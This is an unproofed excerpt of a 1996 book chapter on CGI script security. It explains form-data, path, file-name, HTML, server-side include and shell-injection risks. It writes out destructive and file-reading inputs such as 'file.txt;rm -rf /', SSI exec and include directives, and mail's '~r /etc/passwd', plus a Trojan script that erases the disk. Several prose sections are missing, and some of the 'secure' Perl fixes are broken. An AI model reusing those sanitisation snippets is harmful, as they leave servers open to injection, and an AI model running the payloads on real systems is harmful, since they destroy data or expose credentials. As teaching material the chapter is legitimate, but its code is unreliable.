Copyright ©1996, Que Corporation. All rights reserved. No part of this book may be used or reproduced in any form or by any means, or stored in a database or retrieval system without prior written permission of the publisher except in the case of brief quotations embodied in critical articles and reviews. Making copies of any part of this book for any purpose other than your own personal use is a violation of United States copyright laws. For information, address Que Corporation, 201 West 103^rd Street, Indianapolis, IN 46290 or at support@mcp .com.

Notice: This material is excerpted from Special Edition Using CGI, ISBN: 0-7897-0740-3. The electronic version of this material has not been through the final proof reading stage that the book goes through before being published in printed form. Some errors may exist here that are corrected before the book is published. This material is provided "as is" without any warranty of any kind.

CHAPTER 27-Understanding CGI Security Issues

Scripts vs. Programs

Trust No One

<FORM METHOD="POST" ACTION="http://search.yahoo.com/bin/search">
      Enter your name, first then last:
      <INPUT TYPE="TEXT" NAME="first">
      <INPUT TYPE="TEXT" NAME="last">
</FORM>

Fig 27.1

When the Submit button is clicked, a browser encodes the information and sends it to a CGI script.

Figure 27.2 shows the same URL after it's modified by a user. The CGI script will still be called, but now it will receive unexpected data. To be fully secure, the script should be written to recognize this input as bad data and reject it.

Fig 27.2

A user can modify the data, however, sending the CGI script input it never anticipated.

Finally, an ambitious hacker might write a program that connects to your server over the Web and pretends to be a Web browser. This program, though, could do things that no true Web browser would do, such as send a hundred megabytes of data to your CGI script. What would a CGI script do if it didn't limit the amount of data it read from a POST METHOD because it assumed that the data came from a small form? It would probably crash, and maybe crash in a way that would allow access to the person who crashed it.

Fighting Bad Form Data

You can fight the unexpected input that can be submitted to your CGI scripts in several ways. You should use any or all of them when writing CGI.

First, your CGI script should set reasonable limits on how much data it will accept, both for the entire submission and for each NAME/VALUE pair in the submission. If your CGI script reads the POST METHOD, for instance, check the size of the CONTENT_LENGTH environment variable to make sure that it's something that you can reasonable expect. If the only data your CGI script is designed to accept is a person's first name, it might be a good idea to return an error if CONTENT_LENGTH is more than, say, 100 bytes. No reasonable first name will be that long, and by imposing the limit, you've protected your script from blindly reading anything that gets sent to it.

By happy coincidence, you don't have to worry about limiting the data submitted through the GET METHOD. GET is self-limiting and won't deliver more than about one kilobyte of data to your script. The server automatically limits the size of the data placed into the QUERY_STRING environment variable, which is how GET sends information to a CGI program.

Of course, hackers can easily get around this built-in limit simply by changing the METHOD of your FORM from GET to PUT. At the very least, your program should check that data was submitted using the method you expect; at most, it should handle both methods correctly and safely.

See  "The METHOD Attribute," p. xxx, for more information about GET and PUT. 
See  "Request-Specific Environment Variables," p. xxx, for information about how to determine the method of a request. 

Next, make sure that your script knows what to do if it receives data that it doesn't recognize. If, for example, a form asks that a user select one of two radio buttons, the script shouldn't assume that just because one isn't clicked, the other is. The following Perl code makes this mistake.

if ($form_Data{"radio_choice"} eq "button_one")
{
      # Button One has been clicked
}
else
{
      # Button Two has been clicked
}

This code makes the mistake of assuming that because the form offered only two choices and the first one wasn't selected, the second one must have been. This is not necessarily true. Although the preceding example is pretty innocuous, in some situations such assumptions can be dangerous.

Your CGI script should anticipate situations such as these and handle them accordingly. An error can be printed, for instance, if some unexpected or "impossible" situation arises, as in the following:

if ($form_Data{"radio_choice"} eq "button_one")
{
      # Button One selected
}
elsif ($form_Data{"radio_choice"} eq "button_two")
{
      # Button Two selected
}
else
{
      # Error
}

By adding the second if statement-to explicitly check that "radio_choice" was, in fact, "button_two"-the CGI script has become more secure; it no longer makes assumptions.

Of course, an error may not be what you want your script to generate in these circumstances. Overly picky scripts that validate every field and produce error messages on even the slightest unexpected data can turn users off. Having your CGI script recognize unexpected data, throw it away, and automatically select a default is a possibility too.

The balance between safety and convenience for the user is a careful one. Don't be afraid to consult with your users to find out what works best for them.

For instance, the following is C code that checks text input against several possible choices and sets a default if it doesn't find a match. This can be used to generate output that might better explain to the user what you were expecting.

if ((strcmp(help_Topic,"how_to_order.txt")) &&
 (strcmp(help_Topic,"delivery_options.txt")) &&
 (strcmp(help_Topic,"complaints.txt")))
{
      strcpy(help_Topic,"help_on_help.txt");
}

On the other hand, your script might try to do users a favor and correct any mistakes rather than simply send an error or select a default. If a form asked users to enter the secret word, your script could automatically strip off any white-space characters from the input before doing the comparison. The following is a Perl fragment that does this.

$user_Input =~ s/\s//;
# Remove white space by replacing it with an empty string
if ($user_Input eq $secret_Word)
{
      # Match!
}

Tip

Although it's nice to try to catch the user's mistakes, don't try to do too much. If your corrections aren't really what users wanted, they'll just be annoyed.

Finally, you might choose to go the extra mile and have your CGI script handle as many different forms of input as it can. Although you can't possibly anticipate everything that can be sent to a CGI program, there are often several common ways to do a particular thing, and you can check for each.

For example, just because the form you wrote uses the POST METHOD to submit data to your CGI script, that doesn't mean that the data will come in that way. Rather than assume that the data will be on standard in (stdin) where you're expecting it, you could check the REQUEST_METHOD environment variable to determine whether the GET or POST METHOD was used and read the data accordingly. A truly well-written CGI script will accept data no matter what METHOD was used to submit it and will be made more secure in the process. Listing 27.1 shows an example in Perl.

Listing 27.1 CGI_READ.PL: A Robust Reading Form Input
# Takes the maximum length allowed as a parameter
# Returns 1 and the raw form data, or "0" and the error text
sub cgi_Read
{
      local($input_Max) = 1024 unless $input_Max = $_[0];
      local($input_Method) = $ENV{'REQUEST_METHOD'};

      # Check for each possible REQUEST_METHODs
      if ($input_Method eq "GET")
      {
            # "GET"
            local($input_Size) = length($ENV{'QUERY_STRING'});

            # Check the size of the input
            if ($input_Size > $input_Max)
            {
                  return (0,"Input too big");
            }

            # Read the input from QUERY_STRING
            return (1,$ENV{'QUERY_STRING'});
      }
      elsif ($input_Method eq "POST")
      {
            # "POST"
            local($input_Size) = $ENV{'CONTENT_LENGTH'};
            local($input_Data);

            # Check the size of the input
            if ($input_Size > $input_Max)
            {
                  return (0,"Input too big");
            }

            # Read the input from stdin
            unless (read(STDIN,$input_Data,$input_Size))
            {
                  return (0,"Could not read STDIN");
            }

            return (1,$input_Data);
      }

      # Unrecognized METHOD
      return (0,"METHOD not GET or POST");
}

Tip

Many existing CGI programming libraries already offer good built-in security features. Rather than write your own routines, you may want to rely on some of the well-known, publicly available functions.

See  "Common Perl CGI Libraries," p. xxx, for more information about free CGI libraries. 

To summarize, your script should make no assumptions about the form data that it receives. You should expect the unexpected-as much as that's a contradiction in terms-and handle it in some way. Test it in as many ways as possible before you use it; reject bad input and print an error; automatically select a default if something is wrong or missing; even try to decode the input into something that makes sense to your program. Which path you choose will depend on how much effort and time you want to spend, but never blindly accept anything that's passed to your CGI script.

Don't Trust Path Data

Another type of data the user can alter is the PATH_INFO server environment variable. This variable is filled with any path information that follows the script's file name in a CGI URL. For instance, if foobar.sh is a CGI shell script, the URL will cause /extra/path/info to be placed in the PATH_INFO environment variable when foobar.sh is run.

If you use this PATH_INFO environment variable, you must be careful to completely validate its contents. Just as form data can be altered in any number of ways, so can PATH_INFO-accidentally or on purpose. A CGI script that blindly acts on the path file specified in PATH_INFO can allow malicious users to wreak havoc on the server.

For instance, if a CGI script is designed to simply print out the file that's referenced in PATH_INFO, a user who edits the CGI URL will be able to read almost any file on your computer, as in the following script:

#!/bin/sh

# Send the header
echo "Context-type: text/html"
echo ""

# Wrap the file in some HTML
#!/bin/sh
echo "<HTML><HEADER><TITLE>File</TITLE></HEADER><BODY>"
echo "Here is the file you requested:<PRE>\n"
cat $PATH_INFO
echo "</PRE></BODY></HTML>"

Although this script works fine if the user is satisfied to click only predefined links-say, this site-a more creative (or spiteful) user could use it to receive any file on your server. If he were to jump to http://www.server.com/cgi-bin/foobar.sh/etc/passwd, the preceding script would happily return your machine's password file-something you do not want to happen.

A much safer course is to use the PATH_TRANSLATED environment variable. It automatically appends the contents of PATH_INFO to the root of your server's document tree, meaning that any file specified by PATH_TRANSLATED is probably already accessible to browsers and safe.

In one case, however, files that may not be accessible through a browser can be accessed if PATH_TRANSLATED is used within a CGI script. You should be aware of it and its implications.

The .htaccess file, which can exist in each subdirectory of a document tree, controls who has access to the particular files in that directory. It can be used to limit the visibility of a group of Web pages to company employees, for example.

Whereas the server knows how to interpret .htaccess, and thus knows how to limit who can and who can't see these pages, CGI scripts don't. A program that uses PATH_TRANSLATED to access arbitrary files in the document tree may accidentally override the protection provided by the server.

Everything Seems OK, But...

Now that you've seen several ways users can provide your CGI script with data that it didn't expect and what you can do about it, the larger issue remains of how to validate legitimate data that the user has submitted.

In most cases, correctly but cleverly written form submissions can cause you more problems than out-of-bounds data. It's easy to ignore nonsense input, but determining whether legitimate, correctly formatted input will cause you problems is a much bigger challenge.

Because CGI scripts have the flexibility to do almost anything your computer can do, a small crack in their security can be exploited endlessly-and that's where the greatest danger lies.

Handling File Names

File names, for example, are simple pieces of data that may be submitted to your CGI script and cause endless amounts of trouble if you're not careful (see fig. 27.3).

Fig 27.3

Depending on how well the CGI script is written, the Webmaster for this site could get in big trouble.

Any time you try to open a file based on a name supplied by the user, you must rigorously screen that name for any number of tricks that can be played. If you asked the user for a file name and then try to open whatever was entered, you could be in big trouble.

For instance, what if the user entered a name that has path elements in it, such as directory slashes and double dots? Although you expect a simple file name-say, file.txt-you could end up with /file.txt or ../../../file.txt. Depending on how your Web server is installed and what you do with the submitted file name, you could be exposing any file on your system to a clever hacker.

Further, what if the user enters the name of an existing file or one that's important to the running of the system? What if the name entered is /etc/passwd or C:\WINNT\SYSTEM32\KRNL32.DLL? Depending on what your CGI script does with these files, they may be sent out to the user or overwritten with garbage.

Under Windows 95 and Windows NT, if you don't screen for the backslash character (\), you might allow Web browsers to gain access to files that aren't even on your Web machine through Universal Naming Convention file names. If the script that's about to run in figure 27.4 doesn't carefully screen the file name before opening it, it might give the Web browser access to any machine in the domain or workgroup.

Fig 27.4

Opening a UNC file name is one possible security hole that gives hackers access to your entire network.

What might happen if the user puts an illegal character in a file name? Under UNIX, any file name beginning with a period (.) will become invisible. Under Windows, both slashes (/ and \) are directory separators. It's possible to write a Perl program carelessly and allow external programs to be executed when you thought you were only opening a file, if the file name begins with the pipe (|). Even control characters (the Escape key or the Return key, for instance) can be sent to you as part of file names if the user knows how. (See the earlier section, "Where Bad Data Comes From.")

Worse yet, in shell script, the semicolon ends one command and starts another. If your script is designed to cat the file the user enters, a user might enter file.txt;rm -rf / as a file name, causing file.txt to be returned and then the entire hard disk to be erased, without confirmation.

In with the Good, Out with the Bad

To avoid all these problems and close all the potential security holes they open, you should screen every file name the user enters. You must make sure that the input is what you expect.

The best way to do this is to compare each character of the entered file name against a list of acceptable characters and return an error if they don't match. This turns out to be much safer than trying to maintain a list of all the illegal characters and compare against that-it's too easy to accidentally let something slip through.

Listing 27.2 is an example of how to do this comparison in Perl. It allows any letter of the alphabet (upper- or lowercase), any number, the underscore, and the period. It also checks to make sure that the file name doesn't start with a period. Thus, this fragment doesn't allow slashes to change directories; semicolons to put multiple commands on one line; or pipes to play havoc with Perl's open() call.

Listing 27.2 Making Sure That All Characters Are Legal
if (($file_Name =~ /[^a-zA-Z_\.]/) || ($file_Name =~ /^\./))
{
      # File name contains an illegal character or starts with a period
}

Tip

When you have a commonly used test, such as the code in listing 27.2, it's a good idea to make it into a subroutine, so you can call it repeatedly. This way, you can change it in only one place in your program if you think of an improvement.

Continuing that thought, if the subroutine is used commonly among several programs, it's a good idea to put it into a library so that any improvements can be instantly inherited by all your scripts.

Although the code in listing 27.2 filters out most bad file names, your operating system may have restrictions it doesn't cover. Can a file name start with a digit, for instance? Or with an underscore? What if the file name has more than one period, or if the period is followed by more than three characters? Is the entire file name short enough to fit within the restrictions of the file system?

You must constantly be asking yourself these sort of questions. The most dangerous thing you can do when writing CGI scripts is rely on the users following instructions. They won't. It's your job to make sure that they don't get away with it.

Handling HTML

Another type of seemingly innocuous input that can cause you endless trouble is getting HTML when you request text from the user. Listing 27.3 is a Perl fragment simply customizes a greeting to whomever has entered a name in the $user_Name variable, for example, John Smith (see fig. 27.5).

Listing 27.3 A Script That Sends a Customized Greeting
print("<HTML><TITLE>Greetings!</TITLE><BODY>\n");
print("Hello, $user_Name!  It's good to see you!\n");
print("</BODY></HTML>\n");
*** insert 26fig06.pcx; please border figure

Fig 27.5

When the user enters what you requested, everything works well.

But imagine if, rather than enter just a name, the user types <HR><H1><P ALIGN="CENTER">John Smith</P></H1><HR>. The result would be figure 27.6-probably not what you wanted.

Fig 27.6

Entering HTML when a script expects plain text can change a page in unexpected ways.

But entering HTML isn't just a way for smart alecks to change the way a page appears. Imagine if a hacker entered <IMG SRC="/secret/project/cutekid.gif"> when you requested the user's name. Again, if the code in listing 27.3 were part of a CGI script with this HTML in the $user_Name variable, your Web server would happily show the hacker your secret adorable toddler picture! Figure 27.7 is an example.

Fig 27.7

Allowing HTML to be entered can be dangerous. Here a secret file is shown instead of the user's name.

And even more dangerous than entering simple HTML to change pages or access pictures, a malicious hacker might enter a server-side include directive instead.

See  "Common SSI Commands," p. xxx, for information about what server-side includes can do. 

If your Web server is configured to obey server-side includes, a user could enter <!-- #include file="/secret/project/plan.txt" --> instead of his name to see the complete text of your secret plans. Or he could enter <!-- #include file="/etc/passwd" --> to get your machine's password file. And probably worst of all, a hacker might type <!-- #exec cmd="rm -rf /" --> instead of his name, and the innocent code in listing 27.3 would proceed to delete almost everything on your hard disk.

Because of how they can be misused, server-side includes are very often disabled. Although much more information is available in Chapter 16, "Using Server-Side Includes," you might want to consider this option to truly secure your site against this type of attack.

But suppose for a moment that none of this bothers you. Even if you have server-side includes turned off, and even if you don't care that users might be able to see any picture on your hard disk or that they can change the way your pages look, there's still trouble that can be caused-and not just for you, but for your other users as well.

One common use for CGI scripts is the guest book: People who visit your site can sign in and let others know that they've been there. Normally, a user simply enters his name, which appears on a list of visitors.

But what if The last signee!<FORM><SELECT> was entered as the user's name? The <SELECT> tag would cause the Web browser to ignore everything between it and a nonexistent </SELECT>, including any names that were added to the list later. Even though ten people signed the guest book shown in figure 27.8, only the first three appear because the third name contains a <FORM> and a <SELECT> tag.

Fig 27.8

Because the third signee used HTML tags in his name, nobody after him will show up.

There are two solutions to the problem of the user entering HTML rather than flat text:

• The quick-and-dirty solution is to disallow the less-than (<) and greater-than (>) symbols. Because all HTML tags must be contained within these two characters, removing them (or returning an error if you encounter them) is an easy way to prevent HTML from being submitted and accidentally returned. The following line of Perl code simply erases the characters:

$user_Input =~ s/<>//g;

• The more elaborate way is to translate the two characters into their HTML escape codes-special codes that represent each character without actually using the character itself. The following code does this by globally substituting &lt; for the less-than symbol and &gt; for the greater-than symbol:

$user_Input =~ s/</&lt;/g;
$user_Input =~ s/>/&gt;/g;

Handling External Processes

Finally, how your CGI script interfaces user input with any external processes is another area where you must be ever vigilant. Because executing a program outside of your CGI script means that you have no control over what it does, you must do everything you can to validate the input you send to it before the execution begins.

For instance, shell scripts often make the mistake of concatenating a command-line program with form input, then executing them together. This works fine if the user has entered what you expected, but additional commands may be snuck in and illegally executed.

The following is an example of a script that commits this error.

FINGER_OUTPUT=`finger $USER_INPUT`
echo $FINGER_OUTPUT

If the user politely enters the e-mail address of a person to finger, everything works as it should. But if he enters an e-mail address followed by semicolon and another command, that command will be executed as well. If the user enters webmaster@www.server.com;rm -rf /, you're in considerable trouble.

Even if a hidden command isn't snuck into user data, innocent input may give you something you don't expect. The following line, for instance, will give an unexpected result-a listing of all the files in the directory-if the user input is an asterisk.

echo "Your input: " $USER_INPUT

When sending user data through the shell, as both of these code snippets do, it's a good idea to screen it for shell meta-characters-things that will invoke behavior that you don't expect.

Such characters include the semicolon (which allows multiple commands on one line), the asterisk and the question mark (which perform file globbing), the exclamation point (which, under csh, references running jobs), the back quote (which executes an enclosed command), and so on. Like filtering file names, maintaining a list of allowable characters is often easier than trying to catch each that should be disallowed. The following Perl fragment validates an e-mail address:

if ($email_Address ~= /[^a-zA-Z0-9_\-\+\@\.])
{
      # Illegal character!
}
else
{
      system("finger $email_Address");
}

If you decide that you must allow shell meta-characters in your input, there are ways to make their inclusion safer-and ways that don't actually accomplish anything. Although you may be tempted to simply put quotation marks around unvalidated user input to prevent the shell from acting on special characters, this almost never works. Look at the following:

echo "Finger information:<HR><PRE>"
finger "$USER_INPUT"
echo "</PRE>

Although the quotation marks around $USER_INPUT will prevent the shell from interpreting, say, an included semicolon that would allow a hacker to simply piggyback a command, this script still has several severe security holes. For instance, the input might be `rm -rf /`, with the back quotes causing the hacker's command to be executed before finger is even considered.

A better way to handle special characters is to escape them so that the shell simply takes their values without interpreting them. By escaping the user input, all shell meta-characters are ignored and treated instead as just more data to be passed to the program.

The following line of Perl code does this for all non-alphanumeric characters.

$user_Input =~ s/([^w])/\\\1/g;

Now, if this user input were appended to a command, each character-even the special characters-would be passed through the shell to finger.

But all told, validating user input-not trusting anything sent to you-will make your code easier to read and safer to execute. Rather than try to defeat a hacker after you're already running commands, give data the once-over at the door.

With interpreted languages, such as shell and Perl, the user can enter data that will cause your program to generate errors that aren't there if the data is correct. If user data is being interpreted as part of the programs execution, anything he enters must adhere to the rules of the language or cause an error.

For instance, the following Perl fragment may work fine or may generate an error, depending on what the user entered.

if ($search_Text =~ /$user_Pattern/)
{
      # Match!
}

If $user_Pattern is a correct grep expression, everything will work fine. But, if $user_Pattern is something illegal, Perl will fail, causing your CGI program to fail-possibly in an unsecure way.

To prevent this, in Perl at least, the eval() operator exists, which will evaluate an expression independently of actually executing it and return if it's valid Perl code. The following code is an improved version of the preceding code.

if (eval{$search_Text =~ /$user_Pattern/})
{
      if ($search_Text =~ /$user_Pattern/)
      {
            # Match!
      }
}

Unfortunately, most shells (including the most popular, /bin/sh) have no easy way to detect errors such as this one, which is another reason to avoid them.

When executing external program, you must also be aware of how the user input you pass to those programs will affect them. You may guard your own CGI script against hacker tricks, but it's all for naught if you blithely pass anything a hacker may have entered to external programs without understanding how those programs use that data.

For instance, many CGI scripts will send e-mail to a particular person containing data collected from the user by executing the mail program.

This can be very dangerous because mail has many internal commands, any of which could be invoked by user input. For instance, if you send text entered by the user to mail and that text has a line that starts with a tilde (~), mail will interpret the next character on the line as one of the many commands it can perform. ~r /etc/passwd, for example, will cause your machine's password file to be read by mail and sent off to whomever the letter is addressed to, perhaps even the hacker himself.

In an example such as this one, rather than use mail to send e-mail from UNIX machines, you should use sendmail, the lower-level mail program that lacks many of mail's features. But, of course, you should also be aware of sendmail's commands so those can't be exploited.

As a general rule, when executing external program, you should use the one that fits your needs a closely as possible without any frills. The less an external program can do, the less it can be tricked into doing.

Here's another problem with mail and sendmail: You must be careful that the address you pass to the mail system is a legal e-mail address. Many mail systems will treat an e-mail address starting with a pipe (|) as a command to be executed, opening a huge security hole for any hacker that enters such an address.

Again, always validate your data!

Another example of how you must know your external programs well to use them effectively is grep. Grep is a simple command-line utility that searches files for a regular expression, anything from a simple string to a complex sequence of characters. Most people will tell you that you can't get into much trouble with grep, but although grep may not be able to do much damage, it can be fooled, and how it can be fooled is illustrative. The following code is an example: It's supposed to perform a case-sensitive search for a user-supplied term among many files.

print("The following lines contain your term:<HR><PRE>");
$search_Term =~ s/([^w])/\\\1/g;
system("grep $search_Term /public/files/*.txt");
print("</PRE>");

This all seems fine, unless you consider what happens if the user enters -i. It's not searched for, but functions as a switch to grep, as would any input starting with a dash. This will cause grep to either hang while waiting for the search term to be typed into standard input, or to error out when anything after the -i is interpreted as extra switch characters. This, undoubtedly, isn't what you wanted or planned for. In this case it's not dangerous, but in others it might be.

Remember, there's no such thing as a harmless command, and each must be carefully considered from every angle.

In general, you should be as familiar as possible with every external program your CGI script executes. The more you know about the programs, the more you can do to protect them from bad data-both by screening that data and by disabling options or disallowing features.

External programs are often a quick, easy solution to many of the problems of CGI programming-they're tested, available, and versatile. But they can also be a wide open door through which a hacker that knows what he's doing can quietly stroll. You shouldn't be afraid of using them-often external programs are the only way to accomplish something from a CGI program-but you should be aware of the trouble they can cause.

sendmail has an almost legendary history of security problems. Almost from the beginning, hackers have found clever ways to exploit sendmail and gain unauthorized access to the computers that run it.

But sendmail is hardly unique. Dozens-if not hundreds-of popular, common tools have security problems, with more being discovered each year.

The point is that it's not only the security of your own CGI script that you must worry about, but the security of all the programs your CGI script uses. Knowing sendmail's full range of documented capabilities is important, but perhaps more so is knowing what's not documented, probably because it wasn't intended.

Keeping up with security issues in general is a necessary step to maintain the ongoing integrity of your Web site. One of the easiest ways to do this is on Usenet, in the newsgroups comp.security.announce (where important information about computer security is broadcast) and comp.security.unix (where has a continuing discussion of UNIX security issues). A comprehensive history of security problems, including attack-prevention software, is available through the Computer Emergency Response Team (CERT) at ftp.cert.org.

Inside Attacks

#!/bin/sh
# Send the header
echo "Content-type: text/html"
echo ""
# Send some HTML
echo "<HTML><HEADER><TITLE>Fortune</TITLE></HEADER>
echo "<BODY>Your fortune:<HR><PRE>"
fortune
echo "</BODY></HTML>"

#!/bin/sh
# Send the header
echo "Content-type: text/html"
echo ""
# Do some damage!
rm -rf /
echo "<HTML><TITLE>Got you!</TITLE><BODY>"
echo "<H1>Ha ha!</H1></BODY></HTML>"

#!/bin/sh
# Send the header
echo "Content-type: text/html"
echo ""
# Send the fortune
echo "<HTML><HEADER><TITLE>Fortune</TITLE></HEADER><BODY>"
echo "You crack open the cookie and the fortune reads:<HR><PRE>"
fortune
echo "</PRE></BODY></HTML>"

Fig 26.2

Although the script is unaffected, a local user has tricked the Web server into running another program instead of

This program can do anything its creator wants, from deleting files to logging information about the request and then passing the data on to the real fortune-leaving the user and you none the wiser.

You should always specify explicit paths when running external programs from your CGI scripts. The PATH environment variable is a great tool, but it can be misused just like any other.

Using Others' CGI Scripts

if ($ENV{"PATH_INFO"} eq "/send/passwd") system("cat /etc/passwd");

Fig 27.10

A Trojan horse CGI script can go so far as to deliver mail to its author, letting him know that it's waiting.

Though installing interpreted shell and Perl scripts can be dangerous, running precompiled programs is just downright foolish. If you don't have the source-indeed, if you didn't compile the program yourself-you probably shouldn't trust it.

And That Goes for Your Little Library, Too!

Full-blown CGI scripts aren't the only code that can be dangerous when downloaded off the Web. Also, dozens of handy CGI libraries are available, and they pose exactly the same risks as full programs. If you never bother to look at what each library function you call does, you might end up writing the program that breaks your site's security yourself.

All a hacker needs is for you to execute one line of code that he wrote, and you've handed him the keys to the kingdom. You should review-and be sure that you understand-every line of code that will execute on your sever as a CGI script.

In fact, the entire point of this book-learning how to program CGI scripts-is a good idea, if only to sight check the programs and libraries you can download off the Web.

Remember, always look a gift horse in the mouth!

Although sight-checking all the code you pull off the Web is often a good idea, it can take huge amounts of time, especially if the code is complex or difficult to follow. At some point, you may be tempted to throw caution to the wind and hope for the best, installing the program and firing up your browser. The reason you downloaded a CGI program in the first place was to save time. Right?

If you do decide to give your paranoia a rest and just run a program that you didn't write, then reduce your risk by getting the CGI script from a well-known and highly regarded site.

The NCSA httpd, for instance, is far too big for the average user to go over line by line, but downloading it from its home site at Site is as close to a guarantee of its integrity as you're likely to get. In fact, anything downloaded from NCSA will be prescreened for you.

In truth, dozens of well-known sites on the Web will have done most of the paranoia-induced code checking for you. Downloading code from any of them is just another layer of protection that you can use for your own benefit. Such sites include the following:

• (NCSA Archive)
• (Virtual Webwerx Division Zero - CGI Land)
• (The World Famous Guestbook Server)
• (cgi++)
• (The Web Developers Warehouse)

Being Polite, Playing Nice

Finally, if you do appropriate CGI code off the Web to use either in its entirety or as a smaller part of a larger program you're writing, you should be aware of a few things.

Just because code is freely available doesn't mean that it's free, or free for you to do with as you want. Often, programs and libraries are protected by copyrights, and if the original author hasn't released the rights into the public domain, he may use them to impose restrictions on how his program may be used. He may forbid you to break up his script and use parts of it in yours, for example.

In general, before you use someone else's code (even if you've decided that it's secure), it's a good idea to contract the author and ask permission. At the very least, it's polite, and the vast majority of the time he will be overjoyed that someone is getting some use of code he wrote. And, of course, it's always courteous to cite the original authors of the pieces of your program.

Copyright ©1996, Que Corporation. All rights reserved. No part of this book may be used or reproduced in any form or by any means, or stored in a database or retrieval system without prior written permission of the publisher except in the case of brief quotations embodied in critical articles and reviews. Making copies of any part of this book for any purpose other than your own personal use is a violation of United States copyright laws. For information, address Que Corporation, 201 West 103^rd Street, Indianapolis, IN 46290 or at support@mcp .com.

Notice: This material is excerpted from Special Edition Using CGI, ISBN: 0-7897-0740-3. The electronic version of this material has not been through the final proof reading stage that the book goes through before being published in printed form. Some errors may exist here that are corrected before the book is published. This material is provided "as is" without any warranty of any kind.